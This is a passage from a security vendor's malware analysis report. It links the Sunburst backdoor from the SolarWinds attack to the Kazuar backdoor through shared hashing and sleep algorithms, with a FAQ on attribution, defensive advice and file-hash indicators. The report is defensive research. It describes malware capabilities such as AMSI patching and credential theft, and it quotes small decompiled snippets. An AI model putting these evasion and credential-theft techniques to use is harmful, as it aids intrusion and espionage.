    • Sunburst computes an MD5 from a larger set of data, which concatenates the first adapter MAC address (retrieved using NetworkInterface.GetAllNetworkInterfaces()), the computer domain (GetIPGlobalProperties().DomainName) and machine GUID (“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography” -> “MachineGuid”) , then it XORs together the two halves into an eight-bytes result
  • This MD5+XOR algorithm is present in all Kazuar samples used before November 2020 (a massive code change, almost a complete redesign, was applied to Kazuar in November 2020)

False flags possibility

The possibility of a false flag is particularly interesting and deserves additional attention. In the past, we have seen sophisticated attacks such as OlympicDestroyer confusing the industry and complicating attribution. Subtle mistakes, such as the raw re-use of the Rich header from the Lazarus samples from the Bangladesh bank heist, allowed us to demonstrate that they were indeed false flags and allowed us to eventually connect OlympicDestroyer with Hades, a sophisticated APT group.

Supposing that Kazuar false flags were deliberately introduced into Sunburst, there are two main explanations of how this may have happened:

  1. The use of XOR operation after the main FNV-1a computation was introduced in the 2020 Kazuar variants after it had appeared in the Sunburst code. In this case, the possibility of a false flag is less likely as the authors of Sunburst couldn’t have predicted the Kazuar’s developers’ actions with such high precision.
  2. A sample of Kazuar was released before Sunburst was written, containing the modified 64-bit hash function, and went unnoticed by everyone except the Sunburst developers. In this case, the Sunburst developers must have been aware of new Kazuar variants. Obviously, tracing all modifications of unknown code is quite a difficult and tedious task for the following reasons:
    • Kazuar’s developers are constantly changing their code as well as the packing methods, thus making it harder to detect the backdoor with YARA rules;
    • Kazuar samples (especially the new ones) quite rarely appear on VirusTotal.

The second argument comes with a caveat; the earliest Sunburst sample with the modified algorithm we have seen was compiled in February 2020, while the new Kazuar was compiled in or around November 2020. In the spring and summer of 2020, “old” samples of Kazuar were actively used, without the 64-bit modified FNV-1a hash. This means that option 1 (the extra XOR was introduced in the 2020 Kazuar variants after it had appeared in Sunburst) is more likely.

November 2020 – a new Kazuar

In November 2020, some significant changes happened to Kazuar. On November 18, our products detected a previously unknown Kazuar sample (MD5 9A2750B3E1A22A5B614F6189EC2D67FA). In this sample, the code was refactored, and the malware became much stealthier as most of its code no longer resembled that of the older versions. Here are the most important changes in Kazuar’s code:

  • The infamous “Kazuar’s {0} started in process {1} [{2}] as user {3}/{4}.” string was removed from the binary and replaced with a much subtler “Agent started inside {0}.” message, meaning that the backdoor is no longer called Kazuar in the logs. Despite that, the GUID, which was present in Kazuar since 2015 and serves as the backdoor’s unique identifier, still appears in the refactored version of Kazuar.
  • Depending on the configuration, the malware may now protect itself from being detected by the Anti-Malware Scan Interface by patching the first bytes of the AmsiScanBuffer API function.
  • New spying features have been added to the backdoor. Now Kazuar is equipped with a keylogger and a password stealer which can fetch browser history data, cookies, proxy server credentials and, most importantly, passwords from Internet browsers, Filezilla, Outlook, Git and WinSCP. It also gets vault credentials. The stealer is implemented in the form of a C2 server command.
  • Commands have been completely revamped. The system information retrieval function now also hunts for UAC settings and installed hot patches and drivers. The webcam shot-taking command has been completely removed from the backdoor. Commands which allow the execution of WMI commands and the running of arbitrary PowerShell, VBS and JS scripts have been introduced into Kazuar. The malware can now also gather forensic data (“forensic” is a name of a command present in the refactored version of Kazuar). Kazuar collects information about executables that run at startup, recently launched executables and compatibility assistant settings. Furthermore, a command to collect saved credentials from files left from unattended installation and IIS has been introduced into the backdoor.
  • The data is now exfiltrated to the C2 server using ZIP archives instead of TAR.
  • A class that implements parsing of different file formats has been added into Kazuar. It is currently not used anywhere in the code. This class can throw exceptions with the “Fucking poltergeist” text. In earlier versions of Kazuar, a “Shellcode fucking poltergeist error” message was logged if there was a problem with shellcode.
  • The MD5+XOR algorithm is not as widely used as before in the latest version of Kazuar. The backdoor generates most of unique strings and identifiers with an algorithm which is based on the already discussed FNV-1a hash and Base62. The MD5+XOR algorithm itself has been modified. Its new implementation is given below:
    Kazuar (2020). The modified MD5+XOR algorithm.
    public static string ZK(string X, string JK = null)
    {
        if (YU.fG(JK))
        {
            JK = oR.d6;
        }
        string str = X.ToLower();
        string s = "pipename-" + str + "-" + JK;
        byte[] bytes = Encoding.UTF8.GetBytes(s);
        byte[] array = MD5.Create().ComputeHash(bytes);
        byte b = 42;
        byte b2 = 17;     
        byte b3 = 21;
        for (int i = 0; i < array.Length; i++)
        {
            b = (b * b2 & byte.MaxValue);
            b = (b + b3 & byte.MaxValue);
            byte[] array2 = array;
            int num = i;
            array2[num] ^= b;
        }
        Guid guid = new Guid(array);
        return guid.ToString("B").ToUpper();
    }
  • The random sleeping interval generation algorithm mentioned in the main part of the report also appears to be missing from the updated backdoor sample. In order to generate a random sleeping period, the malware now uses a more orthodox random number generation algorithm:
    Kazuar (2020). The new random number generation algorithm. Methods were renamed for clarity.
    public static long generate_random_number_in_range(long wG, long NG)
    {
        if (wG > NG)
        {
            utility_class.swap<long>(ref wG, ref NG);
        }
        return Math.Abs(utility_class.get_random_int64()) % (NG - wG + 1L) + wG;
    }

The newest sample of Kazuar (MD5 024C46493F876FA9005047866BA3ECBD) was detected by our products on December 29. It also contained refactored code.

For now, it’s unclear why the Kazuar developers implemented these massive code changes in November. Some possibilities include:

  • It’s a normal evolution of the codebase, where new features are constantly added while older ones are moved
  • The Kazuar developers wanted to avoid detection by various antivirus products or EDR solutions
  • Suspecting the SolarWinds attack might be discovered, the Kazuar code was changed to resemble the Sunburst backdoor as little as possible

Conclusions

These code overlaps between Kazuar and Sunburst are interesting and represent the first potential identified link to a previously known malware family.

Although the usage of the sleeping algorithm may be too wide, the custom implementation of the FNV-1a hashes and the reuse of the MD5+XOR algorithm in Sunburst are definitely important clues. We should also point out that although similar, the UID calculation subroutine and the FNV-1a hash usage, as well the sleep loop, are still not 100% identical.

Possible explanations for these similarities include:

  • Sunburst was developed by the same group as Kazuar
  • The Sunburst developers adopted some ideas or code from Kazuar, without having a direct connection (they used Kazuar as an inspiration point)
  • Both groups, DarkHalo/UNC2452 and the group using Kazuar, obtained their malware from the same source
  • Some of the Kazuar developers moved to another team, taking knowledge and tools with them
  • The Sunburst developers introduced these subtle links as a form of false flag, in order to shift blame to another group

At the moment, we do not know which one of these options is true. While Kazuar and Sunburst may be related, the nature of this relation is still not clear. Through further analysis, it is possible that evidence confirming one or several of these points might arise. At the same time, it is also possible that the Sunburst developers were really good at their opsec and didn’t make any mistakes, with this link being an elaborate false flag. In any case, this overlap doesn’t change much for the defenders. Supply chain attacks are some of the most sophisticated types of attacks nowadays and have been successfully used in the past by APT groups such as Winnti/Barium/APT41 and various cybercriminal groups.

To limit exposure to supply chain attacks, we recommend the following:

  • Isolate network management software in separate VLANs, monitor them separately from the user networks
  • Limit outgoing internet connections from servers or appliances that run third party software
  • Implement regular memory dumping and analysis; checking for malicious code running in a decrypted state using a code similarity solution such as Kaspersky Threat Attribution Engine (KTAE)

More information about UNC2452, DarkHalo, Sunburst and Kazuar is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports[at]kaspersky.com

FAQ

  1. TLDR; just tell us who’s behind the SolarWinds supply chain attack?
    Honestly, we don’t know. What we found so far is a couple of code similarities between Sunburst and a malware discovered in 2017, called Kazuar. This malware was first observed around 2015 and is still being used in the wild. The most advanced Kazuar sample we found is from December 2020. During five years of Kazuar evolution, we observed a continuous development, in which significant features, which bear resemblance to Sunburst, were added. While these similarities between Kazuar and Sunburst are notable, there could be a lot of reasons for their existence, including:

    • Sunburst was developed by the same group as Kazuar
    • The Sunburst developers used some ideas or code from Kazuar, without having a direct connection (they used Kazuar code as “inspiration”)
    • Both groups, that is, the DarkHalo/UNC2452 and the group using Kazuar obtained their malware from the same source
    • One of the Kazuar developers moved to another team, taking his knowledge and tools with them
    • The Sunburst developers introduced these subtle links as a form of a false flag, in order to shift the blame to another group

    At the moment, we simply do not know which of these options is true. Through further analysis, it is possible that evidence enforcing one or several of these points might arise. To clarify – we are NOT saying that DarkHalo / UNC2452, the group using Sunburst, and Kazuar or Turla are the same.

  2. What are these similarities? Could these similarities be just coincidences?
    In principle, none of these algorithms or implementations are unique. In particular, the things that attracted our attention were the obfuscation of strings through modified FNV-1a algorithms, where the hash result is XOR’ed with a 64-bit constant, the implementation of the C2 connection delay, using a large (and unusual) value (Kazuar uses a random sleeping time between two and four weeks, while Sunburst waits from 12 to 14 days) and the calculation of the victim UID through an MD5 + XOR algorithm. It should be pointed that none of these code fragments are 100% identical. Nevertheless, they are curious coincidences, to say at least. One coincidence wouldn’t be that unusual, two coincidences would definitively raise an eyebrow, while three such coincidences are kind of suspicious to us.
  3. What is this Kazuar malware?
    Kazuar is a fully featured .NET backdoor, and was first reported by our colleagues from Palo Alto Networks in 2017. The researchers surmised at the time that it may have been used by the Turla APT group, in order to replace their Carbon platform and other Turla second stage backdoors. Our own observations confirm that Kazuar was used, together with other Turla tools, during multiple breaches in the past few years, and is still in use. Also, Epic Turla resolves imports with another customized version of the FNV-1a hash and has code similarities with Kazuar’s shellcode.
  4. So Sunburst is connected to Turla?
    Not necessarily, refer to question 1 for all possible explanations.
  5. The media claims APT29 is responsible for the SolarWinds hack. Are you saying that’s wrong?
    We do not know who is behind the SolarWinds hack – we believe attribution is a question better left for law enforcement and judicial institutions. To clarify, our research has identified a number of shared code features between the Sunburst malware and Kazuar.
    Our research has placed APT29 as another potential name for “The Dukes”, which appears to be an umbrella group comprising multiple actors and malware families. We initially reported MiniDuke, the earliest malware in this umbrella, in 2013. In 2014, we reported other malware used by “The Dukes”, named CosmicDuke. In CosmicDuke, the debug path strings from the malware seemed to indicate several build environments or groups of “users” of the “Bot Gen Studio”: “NITRO” and “Nemesis Gemina”. In short, we suspect CosmicDuke was being leveraged by up to three different entities, raising the possibility it was shared across groups. One of the interesting observations from our 2014 research was the usage of a webshell by one of the “Bot Gen Studio” / “CosmicDuke” entities that we have seen before in use by Turla. This could suggest that Turla is possibly just one of the several users of the tools under the “Dukes” umbrella.
  6. How is this connected to Cozy Duke?
    In 2015, we published futher research on CozyDuke, which seemed to focus on what appeared to be government organizations and commercial entities in the US, Germany and other countries. In 2014, their targets, as reported in the media, included the White House and the US Department of State. At the time, the media also called it “the worst ever” hack. At the moment, we do not see any direct links between the 2015 CozyDuke and the SolarWinds attack.
  7. How solid are the links with Kazuar?
    Several code fragments from Sunburst and various generations of Kazuar are quite similar. We should point out that, although similar, these code blocks, such as the UID calculation subroutine and the FNV-1a hashing algorithm usage, as well the sleep loop, are still not 100% identical. Together with certain development choices, these suggest that a kind of a similar thought process went into the development of Kazuar and Sunburst. The Kazuar malware continued to evolve and later 2020 variants are even more similar, in some respect, to the Sunburst branch. Yet, we should emphasise again, they are definitely not identical.
  8. So, are you saying Sunburst is essentially a modified Kazuar?
    We are not saying Sunburst is Kazuar, or that it is the work of the Turla APT group. We spotted some interesting similarities between these two malware families and felt the world should know about them. We love to do our part, contributing our findings to the community discussions; others can check these similarities on their own, draw their own conclusions and find more links. What is the most important thing here is to publish interesting findings and encourage others to do more research. We will, of course, continue with our own research too.
  9. Is this the worst cyberattack in history?
    Attacks should always be judged from the victim’s point of view. It should also account for physical damage, if any, loss of human lives and so on. For now, it would appear the purpose of this attack was cyberespionage, that is, extraction of sensitive information. By comparison, other infamous attacks, such as NotPetya or WannaCry had a significantly destructive side, with victim losses in the billions of dollars. Yet, for some out there, this may be more devastating than NotPetya or WannaCry; for others, it pales in comparison.
  10. How did we get here?
    During the past years, we’ve observed what can be considered a “cyber arms race”. Pretty much all nation states have rushed, since the early 2000s, to develop offensive military capabilities in cyberspace, with little attention to defense. The difference is immediately notable when it comes to the budgets available for the purchase of offensive cyber capabilities vs the development of defensive capabilities. The world needs more balance to the (cyber-)force. Without that, the existing cyber conflicts will continue to escalate, to the detriment of the normal internet user.
  11. Is it possible this is a false flag?
    In theory, anything is possible; and we have seen examples of sophisticated false flag attacks, such as the OlympicDestroyer attack. For a full list of possible explanations refer to question 1.
  12. So. Now what?
    We believe it’s important that other researchers around the world also investigate these similarities and attempt to discover more facts about Kazuar and the origin of Sunburst, the malware used in the SolarWinds breach. If we consider past experience, for instance looking back to the WannaCry attack, in the early days, there were very few facts linking them to the Lazarus group. In time, more evidence appeared and allowed us, and others, to link them together with high confidence. Further research on this topic can be crucial to connecting the dots.

Indicators of Compromise

File hashes:
E220EAE9F853193AFE77567EA05294C8 (First detected Kazuar sample, compiled in 2015)
150D0ADDF65B6524EB92B9762DB6F074 (Kazuar sample compiled in 2016)
54700C4CA2854858A572290BCD5501D4 (Kazuar sample compiled in 2017)
053DDB3B6E38F9BDBC5FB51FDD44D3AC (Kazuar sample compiled in 2018)
1F70BEF5D79EFBDAC63C9935AA353955 (Kazuar sample compiled in 2019)
9A2750B3E1A22A5B614F6189EC2D67FA (Kazuar sample used in November 2020)
804785B5ED71AADF9878E7FC4BA4295C (Kazuar sample used in December 2020)
024C46493F876FA9005047866BA3ECBD (Most recent Kazuar sample)
2C4A910A1299CDAE2A4E55988A2F102E (Sunburst sample)
More information about UNC2452, DarkHalo, Sunburst and Kazuar is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports[at]kaspersky.com

]]>
https://securelist.com/sunburst-backdoor-kazuar/99981/feed/ 1 full large medium thumbnail